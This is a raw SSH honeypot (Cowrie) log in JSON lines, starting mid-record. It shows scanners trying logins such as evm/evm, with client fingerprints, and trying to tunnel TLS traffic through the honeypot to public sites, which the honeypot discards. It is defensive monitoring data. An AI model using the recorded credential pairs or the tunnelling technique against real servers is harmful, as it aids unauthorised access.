0\\x0b)\\r+\\x81\\xa3\\x03\\x1f\\x1d\\x08\\x05\\r\\x12?\\x88\\x11j\\xcdM\\x07\\xfdC]+trk6t\\xfd\\xa1\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x13\\x91\\xdd\\xeb\\\\\\x83)d[\\xcaK\\xb9'\\xed >\\x8a\\x9d\\xacW\\x89\\x0c\\x1c\\x01\\xe1M\\x8e\\xa3\\x84v\\xf0e\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:30.196357Z","src_ip":"80.94.95.118","session":"8a8c1d212160","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"2.18.68.245","dst_port":443,"src_ip":"80.94.95.118","src_port":39080,"message":"direct-tcp connection request to 2.18.68.245:443 from 127.0.0.1:39080","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:33.079104Z","session":"8a8c1d212160","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"2.18.68.245","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 2.18.68.245:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:34.887455Z","src_ip":"80.94.95.118","session":"8a8c1d212160","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"2.18.68.245","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j_\\x0fq^\\x8az\\x9c}c\\xa1{\\xf7L\\x1ecY\\x08\\xac;= :\\x1c_|+>\\x8b\\x19\\xd1j \\xc2\\xa4\\xc9l\"\"\\t\\x1a_y7\\xb6\\xf1\\xaar\\xb1\\'\\x99D\\xa2`C]:\\x13\\x1d\\xa0\\x19g\\xa4\\x8e6\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xaa\\xe4M\\xf9\\xdd\\x7f\\x17\\xc8\\x1c/\\xee\\x86<\\xaa\\xc0\\xd5\\xf4\\xb7sM\\xa0\\xb5\\x9c\\xe7\\x176\\xf7\\xf7\\xec\\xe4\\x1dI\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 2.18.68.245:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j_\\x0fq^\\x8az\\x9c}c\\xa1{\\xf7L\\x1ecY\\x08\\xac;= :\\x1c_|+>\\x8b\\x19\\xd1j \\xc2\\xa4\\xc9l\"\"\\t\\x1a_y7\\xb6\\xf1\\xaar\\xb1\\'\\x99D\\xa2`C]:\\x13\\x1d\\xa0\\x19g\\xa4\\x8e6\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xaa\\xe4M\\xf9\\xdd\\x7f\\x17\\xc8\\x1c/\\xee\\x86<\\xaa\\xc0\\xd5\\xf4\\xb7sM\\xa0\\xb5\\x9c\\xe7\\x176\\xf7\\xf7\\xec\\xe4\\x1dI\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:34.890777Z","src_ip":"80.94.95.118","session":"8a8c1d212160","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.155.119","dst_port":443,"src_ip":"80.94.95.118","src_port":40142,"message":"direct-tcp connection request to 142.251.155.119:443 from 127.0.0.1:40142","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:37.663384Z","session":"8a8c1d212160","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.155.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.155.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:38.151760Z","src_ip":"80.94.95.118","session":"8a8c1d212160","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.155.119","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x03sJ\\x0b\\xba\\x13\\x9c\\x1d\\x9bO\\xa5\\xa0\\xfd\\x93*6`\\xbe+\\xdff\\x9c$2\\xf7\\xfe\\x84Z\\xf0:[\\xa7 \\x0e\\xbc\\xb3\\xcaw\\x1a\\x892\\xa0\"c\\x9f\\xc3ql\\xfc4\\xf6\\xbcK(\\x0e\\xbdq:\\xadKs\\xbe&Q\\xb2\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x0c\\xea\\x8eKC\\xf4\\x1d9\\xc6oF\\xde\\x1cs\\xe5\\x97\\xb9\\xfer\\xdb\\x10R\\xba\\x1d\\xe6\\xc8K\\x92\\xc1L\\xdc\\x03\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.155.119:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x03sJ\\x0b\\xba\\x13\\x9c\\x1d\\x9bO\\xa5\\xa0\\xfd\\x93*6`\\xbe+\\xdff\\x9c$2\\xf7\\xfe\\x84Z\\xf0:[\\xa7 \\x0e\\xbc\\xb3\\xcaw\\x1a\\x892\\xa0\"c\\x9f\\xc3ql\\xfc4\\xf6\\xbcK(\\x0e\\xbdq:\\xadKs\\xbe&Q\\xb2\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x0c\\xea\\x8eKC\\xf4\\x1d9\\xc6oF\\xde\\x1cs\\xe5\\x97\\xb9\\xfer\\xdb\\x10R\\xba\\x1d\\xe6\\xc8K\\x92\\xc1L\\xdc\\x03\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:38.157872Z","src_ip":"80.94.95.118","session":"8a8c1d212160","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.1","message":"Connection lost after 13.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:38.965148Z","src_ip":"80.94.95.118","session":"8a8c1d212160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":50672,"dst_ip":"159.203.135.109","dst_port":22,"session":"1076883c8c2c","protocol":"ssh","message":"New connection: 2.57.122.208:50672 (159.203.135.109:22) [session: 1076883c8c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:50.511244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:50.557150Z","src_ip":"2.57.122.208","session":"1076883c8c2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:50.628241Z","src_ip":"2.57.122.208","session":"1076883c8c2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:51.712966Z","src_ip":"2.57.122.208","session":"1076883c8c2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:53.031639Z","src_ip":"2.57.122.208","session":"1076883c8c2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45760,"dst_ip":"159.203.135.109","dst_port":22,"session":"121788fac4b2","protocol":"ssh","message":"New connection: 2.57.122.208:45760 (159.203.135.109:22) [session: 121788fac4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:12:06.009030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:12:06.018563Z","src_ip":"2.57.122.208","session":"121788fac4b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:12:06.192533Z","src_ip":"2.57.122.208","session":"121788fac4b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:12:06.770449Z","src_ip":"2.57.122.208","session":"121788fac4b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:12:07.983191Z","src_ip":"2.57.122.208","session":"121788fac4b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":45016,"dst_ip":"10.17.0.5","dst_port":22,"session":"faa526e686c9","protocol":"ssh","message":"New connection: 2.57.122.238:45016 (10.17.0.5:22) [session: faa526e686c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:13:54.319345Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:13:54.426093Z","src_ip":"2.57.122.238","session":"faa526e686c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41904,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab650d1c7f69","protocol":"ssh","message":"New connection: 2.57.122.208:41904 (159.203.135.109:22) [session: ab650d1c7f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:14:19.260425Z"}
